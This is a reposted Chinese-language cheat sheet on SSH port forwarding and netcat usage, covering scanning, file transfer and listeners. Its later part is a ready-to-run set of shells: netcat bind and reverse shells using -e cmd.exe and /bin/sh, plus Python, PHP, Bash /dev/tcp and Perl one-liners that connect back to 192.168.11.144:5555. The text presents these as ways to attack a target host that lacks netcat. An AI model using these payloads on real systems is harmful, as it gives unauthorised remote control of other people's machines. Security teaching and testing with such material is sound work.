端口轉發正反向鏈接 NC 和 SSH下的用法


SSH 端口轉發:

SSH開啟端口轉發需要修改 /etc/ssh/sshd_config配置文件,將 GatewayPorts修改為yes

-f 后台執行ssh指令
-C 允許壓縮數據
-N 不執行遠程指令
-R 將遠程主機(服務器)的某個端口轉發到本地端指定機器的指定端口
-L 本地端口轉發
-D 動態端口轉發

正向代理
ssh -fCNL *:1234:localhost:8888 localhost

反向代理
ssh -fCNR 45.134.xxx.xxx:8822:localhost:3306 root@45.134.xxx.xxx #本地的3306端口轉發到指定的45.134.xxx.xxx的IP上,值得注意的是,轉發過去之后,只能45.134.xxx.xxx去連接,另外一台機子不能通過訪問45.135.xxx.xxx連接來訪問,想要實現這個效果的話需要在45.134.xxx.xxx開正向端口轉發

好多情況下做運維的時候,直接通過ssh轉發把做了白名單才允許訪問的端口通過這種方式本體轉發切換

 


nc.exe -h
//即可看到各參數的使用方法。基本格式:
nc [-options] hostname port[s] [ports] ...nc -l -p port [options] [hostname] [port]
參數	作用
-d	后台模式
-e prog	程序重定向,一旦連接就執行
-g<網關>	設置路由器躍程通信網關,最多可設置8個
-G<指向器數目>	設置來源路由指向器,其數值為4的倍數
-h	幫助信息
-i<延遲秒數>	設置時間間隔,以便傳送信息及掃描通信端口
-l	監聽模式,用於入站連接,管控傳入的數據
-L	連接關閉后,仍然繼續監聽
-n	直接使用IP地址,而不通過域名服務器
-o<輸出文件>	指定文件名稱,把往來傳輸的數據以16進制字碼傾倒成該文件保存
-p<通信端口>	設置本地主機使用的通信端口
-r	隨機指定本地與遠端主機的通信端口
-s <來源地址>	設置本地主機送出數據包的IP地址
-t	使用TELNET交互方式
-u	UDP模式
-v	顯示指令執行過程
-w <超時秒數>	設置等待連接的時間
-z	將輸入輸出關掉,只在掃描通信端口時使用
端口的表示方法可寫為 M-N 的范圍格式。
Windows下:

正向連接

服務器執行:nc -l -p 8888 -e cmd.exe

本地主機執行:nc -vv 服務器ip 8888

反向連接

服務器執行:nc -e cmd.exe 公網ip 8888

公網主機執行:nc -lvp 8888

幾種使用方法:

連接到遠程主機命令:

nc -nvv Targert_IP Targert_Port
監聽本地主機命令:

nc -l -p Local_Port
端口掃描

掃描指定主機的單一端口是否開放命令:

nc -v target_IP target_Port
掃描指定主機的某個端口段的端口開放信息命令:

nc -v -z Target_IP Target_Port_Start - Target_Port_End
掃描指定主機的某個UDP端口段,並且返回端口信息命令:

nc -v -z -u Target_IP Target_Port_Start - Target_Port_End
掃描指定主機的端口段信息,並且設置超時時間為3秒命令:

nc -vv(-v) -z -w time Target_IP Target_Port_Start-Targert_Port_End
端口監聽

監聽本地端口命令:

nc -l -p local_Port
注:先設置監聽(不能出現端口沖突),之后如果有外來訪問則輸出該詳細信息到命令行
監聽本地端口,並且將監聽到的信息保存到指定的文件中命令:

nc -l -p local_Port > target_File
連接遠程系統命令:

nc Target_IP Target_Port
//之后可以運行HTTP請求
FTP匿名探測命令:

nc Targert_IP 21
文件傳輸

傳輸端命令:

nc Targert_IP Targert_Port < Targert_File
接收端命令:

nc -l Local_Port > Targert_File
通信

本地主機命令:

nc -l 8888
遠程主機命令:

nc Targert_IP Targert_Port
獲取shell

獲取shell分為兩種,一種是正向shell,一種是方向shell。

如果客戶端連接服務器端,想要獲取服務器端的shell,那么稱為正向shell,如果是客戶端連接服務器,服務器端想要獲取客戶端的shell,那么稱為反向shell

正向shell

本地主機命令:

nc Targert_IP Targert_Port
目標主機命令:

nc -lvp Targert_Port -e /bin/sh
反向shell

本地主機命令:

nc -lvp Target_Port
目標主機命令:

nc Targert_IP Targert_Port -e /bin/sh
特殊場景

在一般情況下,目標主機上一般都是不會有Netcat的,此時就需要使用其他替代的方法來實現反向連接達到攻擊主機的目的,下面介紹幾種反向shell的設置。

python反向shell

本地主機:

nc -lvp 5555
目標主機端執行語句:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.11.144",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP反向shell

本地主機:

nc -lvp 5555
目標主機端執行語句:

php -r '$sock=fsockopen("192.168.11.144",5555);exec("/bin/sh -i <&3 >&3 2>&3");'
Bash反向shell

本地主機:

nc -lvp 5555
目標主機端執行語句:

bash -i>&/dev/tcp/192.168.11.144/5555 0>&1
Perl反向shell

本地主機:

nc -lvp 5555
目標主機端執行語句:

perl -e 'use Socket;$i="192.168.11.144";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
[video]

  


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM